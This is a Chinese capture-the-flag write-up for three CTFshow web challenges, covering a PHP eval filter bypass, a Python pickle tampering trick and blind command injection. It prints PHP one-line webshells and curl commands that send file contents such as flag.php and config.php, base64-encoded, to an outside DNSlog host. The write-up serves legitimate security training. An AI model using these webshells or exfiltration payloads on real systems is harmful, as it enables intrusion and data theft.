IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> Python知识库 -> CTFshow新手杯WP -> 正文阅读

[Python知识库]CTFshow新手杯WP

做了三道题。第五题看不懂,第二题一直打不开。平台老崩。
个人博客:xiaoqiuxx.xyz

easy_eval

<?php

error_reporting(0);
highlight_file(__FILE__);
$code = $_POST['code'];
if(isset($code)){
  $code = str_replace("?","",$code);
  eval("?>".$code);

?>

代码清晰简单,就是一个代码执行函数eval,但是这里存在一个过滤。

str_replace("?", "", $code); 

只要我们传入的内容存在问号?都会被替换为空。注意这个函数,如果是在sql注入内的话,我们可以通过双写绕过。

image-20221006195104034

image-20221006195139640

这里像这样单个字符是会被全部过滤掉的。

所以这里的话我们考虑的话就是要不存在问号的内容。我们其实可以知道php的一句话木马有几种常用的方式

<?php eval($_POST['cmd']);?>  //最常见的
<?=eval($_POST['cmd']);?>     //短标签
<script language='PHP'>eval($_POST['cmd']);</script>  //script标签

在这里可以发现通过script标签的php代码是不需要问号的。所以这里我们传入这样的内容进行RCE

code=<script language='PHP'>eval($_POST["cmd"]);</script>&cmd=system('ls');

image-20221006195806008

baby_pickle

看名字就知道了,python的反序列化。但是这题也不是常规的pickle反序列化。我们通过附件可以下载到源代码

# Author:
#   Achilles
# Time:
#   2022-9-20
# For:
#   ctfshow
import base64
import pickle, pickletools
import uuid
from flask import Flask, request

app = Flask(__name__)
id = 0
flag = "ctfshow{" + str(uuid.uuid4()) + "}"

class Rookie():
    def __init__(self, name, id):
        self.name = name
        self.id = id


# 1.默认路由 设定了一个全局的id变量 访问一次id会加1
@app.route("/")
def agent_show():
    global id
    id = id + 1

    # 接收name参数
    if request.args.get("name"):
        name = request.args.get("name")
    # 默认为new_rookie
    else:
        name = "new_rookie"

    # 实例化rookie类
    new_rookie = Rookie(name, id)
    try:
        # 生成一个文件 文件名由我们传入的name决定拼接_info  写入Rookie类序列化的内容
        file = open(str(name) + "_info", 'wb')
        info = pickle.dumps(new_rookie, protocol=0)
        info = pickletools.optimize(info)
        file.write(info)
        file.close()
    except Exception as e:
        return "error"

    # 这里读取文件内容进行一个反序列化
    with open(str(name)+"_info", "rb") as file:
        user = pickle.load(file)

    message = "<h1>欢迎来到新手村" + user.name + "</h1>\n<p>" + "只有成为大菜鸡才能得到flag" + "</p>"
    return message


# 这个路由也是接收我们传入的name参数  可以去读取一个文件的内容并且进行反序列化  如果id为0那么给flag
@app.route("/dacaiji")
def get_flag():
    name = request.args.get("name")
    with open(str(name)+"_info", "rb") as f:
        print(f)
        user = pickle.load(f)

    if user.id != 0:
        message = "<h1>你不是大菜鸡</h1>"
        return message
    else:
        message = "<h1>恭喜你成为大菜鸡</h1>\n<p>" + flag + "</p>"
        return message

# 这个路由提供了一个修改文件内容的操作  传入的参数需要进行base64编码 
@app.route("/change")
def change_name():
    name = base64.b64decode(request.args.get("name"))
    newname = base64.b64decode(request.args.get("newname"))

    file = open(name.decode() + "_info", "rb")
    info = file.read()
    print("old_info ====================")
    print(info)
    print("name ====================")
    print(name)
    print("newname ====================")
    print(newname)
    info = info.replace(name, newname)
    print(info)
    file.close()
    with open(name.decode()+ "_info", "wb") as f:
        f.write(info)
    return "success"


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8888, debug=True)

代码逻辑比较简单。三个路由。默认路由可以传入一个name值生成相对应的文件。首次访问默认生成一个new_rookie_info的内容。在本地测试即可看到文件内容。

ccopy_reg
_reconstructor
(c__main__
Rookie
c__builtin__
object
NtR(dVname  
Vnew_rookie
sVid
I2
sb.

我们传入自定义name 比如我传入?name=xiaoqiuxx

ccopy_reg
_reconstructor
(c__main__
Rookie
c__builtin__
object
NtR(dVname
Vxiaoqiuxx  # 这里名字换成了我们传入的name
sVid
I4
sb.

这里我们可以控制name但是不能对id进行控制。但是我们id为0的时候才能拿到flag。那么这里我们把目光放到第三个路由上。这个路由提供了一个修改内容的操作。

info = info.replace(name, newname)  

这里我们可以传入两个参数一个是name 一个是newname。

可以把序列化中name值替换成newname值。那么这里就好办了。我们只需要传入特定值覆盖原来的值即可完成修改的操作

NtR(dVname
Vxiaoqiuxx 
sVid
I4
sb.

这里只需要传入

xiaoqiuxx
sVid #id属性
I0   #int 0
sb.  

pickle反序列化以点结尾。所以我们传入上面的内容之后,就会变成

ccopy_reg
_reconstructor
(c__main__
Rookie
c__builtin__
object
NtR(dVname
Vxiaoqiuxx  
sVid
I0
sb.     #这里就表示结尾了  后面的内容丢弃。
sVid
I4
sb.

然后我们将内容进行base64编码

image-20221006202236224

image-20221006201953064

步骤

1、首先带参数访问一下默认路由

image-20221006202113265

2、然后拿到我们上面编码的内容访问change路由

image-20221006202321292

3、最后带参访问daicaiji路由

image-20221006202401057

repairman

进来观察url修改mode为0发现代码。

<?php
error_reporting(0);
session_start();
//这里设置config数组的secret的值为一个空数组 本地调试可以发现默认值为Array
$config['secret'] = Array();
include 'config.php';
if(isset($_COOKIE['secret'])){
    # 通过cookie接收参数
    $secret =& $_COOKIE['secret'];
}else{
    $secret = Null;
}

# 接收请求的url
if(empty($mode)){
    $url = parse_url($_SERVER['REQUEST_URI']);
    parse_str($url['query']);
    if(empty($mode)) {
        echo 'Your mode is the guest!';
    }
}

function cmd($cmd){
    global $secret;
    echo 'Sucess change the ini!The logs record you!';
    # 命令执行  但是无回显
    exec($cmd);
    $secret['secret'] = $secret;
    $secret['id'] = $_SERVER['REMOTE_ADDR'];
    $_SESSION['secret'] = $secret;
}

if($mode == '0'){
    //echo var_dump($GLOBALS);
    if($secret === md5('token')){
        $secret = md5('test'.$config['secret']);
    }
    # 如果我们传入的值等于token的md5值那么这里会给我们覆盖一个新值。这里必定进入switch的第二个分支
    # 第二个分支中存在过滤。 无法使用。

     
    switch ($secret){
        //需要进入这个分支  但是无回显
        case md5('admin'.$config['secret']):
            echo 999;
            cmd($_POST['cmd']);
        case md5('test'.$config['secret']):
            echo 666;
            //这里除了字母和数字都被替换  无法使用
            $cmd = preg_replace('/[^a-z0-9]/is', 'hacker',$_POST['cmd']);
            cmd($cmd);
        default:
            echo "hello,the repairman!";
            highlight_file(__FILE__);
    }
}elseif($mode == '1'){
    echo '</br>hello,the user!We may change the mode to repaie the server,please keep it unchanged';
}else{
    header('refresh:5;url=index.php?mode=1');
    exit;
}

进行代码审计 使用cookie传入secret参数 通过对secret参数的MD5比较可以进行命令执行 。

我们可以发现这里我们一定要进入switch的第一个分支。可以发现这里和上面if是同级。就算上面if为false我们也可以进入这里swicth语句。所以我们只要传入值等于

md5('admin'.$config['secret']);

即可进行命令执行。上面说过这里$config['secret']其实默认值就是Array

所以这里我们传入的md5就是

echo md5("adminArray");
// da53eb34c1bc6ce7bbfcedf200148106

然后这里因为使用 exec函数是不会回显内容的。所以我们需要进行一个DNSlog外带。(尝试了shell反弹但是失败了 目前不太清楚原因)

使用 http://ceye.io

注册绑定手机号之后可以在个人页面拿到一个域名 之后使用时需要替换成自己分配到的域名。

image-20221006203658495

image-20221006203754966

在这可以看到使用姿势。

image-20221006204121520

image-20221006204135221

在平台即可看到回显的结果。 有时候可能较慢,耐心等待。

参考这篇文章payload

RCE之执行无回显 - undefined (lmcmc.github.io)

cmd=curl http://98c2l7.ceye.io/`ls`
cmd=curl http://98c2l7.ceye.io/`cat flag.php`
cmd=curl http://98c2l7.ceye.io/`cat flag.php | sed -n '2p'` 使用sed命令查看flag.php文件第二行的内容
cmd=curl http://98c2l7.ceye.io/`cat flag.php | sed -n '2p' | base64`  空格不能被带出时使用base64进行编码
cmd=curl http://98c2l7.ceye.io/`ls -al| cut -c 3-10` 若长度太大,可以使用cut来分割字符(第一个字符下标为1)

这题flag在config.php的第三行

image-20221006204433385

cmd=curl http://mzodiy.ceye.io/`cat config.php | sed -n '3p' | base64`

image-20221006204501839

image-20221006204515879

解码即是flag。

  Python知识库 最新文章
Python中String模块
【Python】 14-CVS文件操作
python的panda库读写文件
使用Nordic的nrf52840实现蓝牙DFU过程
【Python学习记录】numpy数组用法整理
Python学习笔记
python字符串和列表
python如何从txt文件中解析出有效的数据
Python编程从入门到实践自学/3.1-3.2
python变量
上一篇文章      下一篇文章      查看所有文章
加:2022-10-08 20:37:01  更:2022-10-08 20:39:49 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2025年1日历 -2025/1/13 7:14:41-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码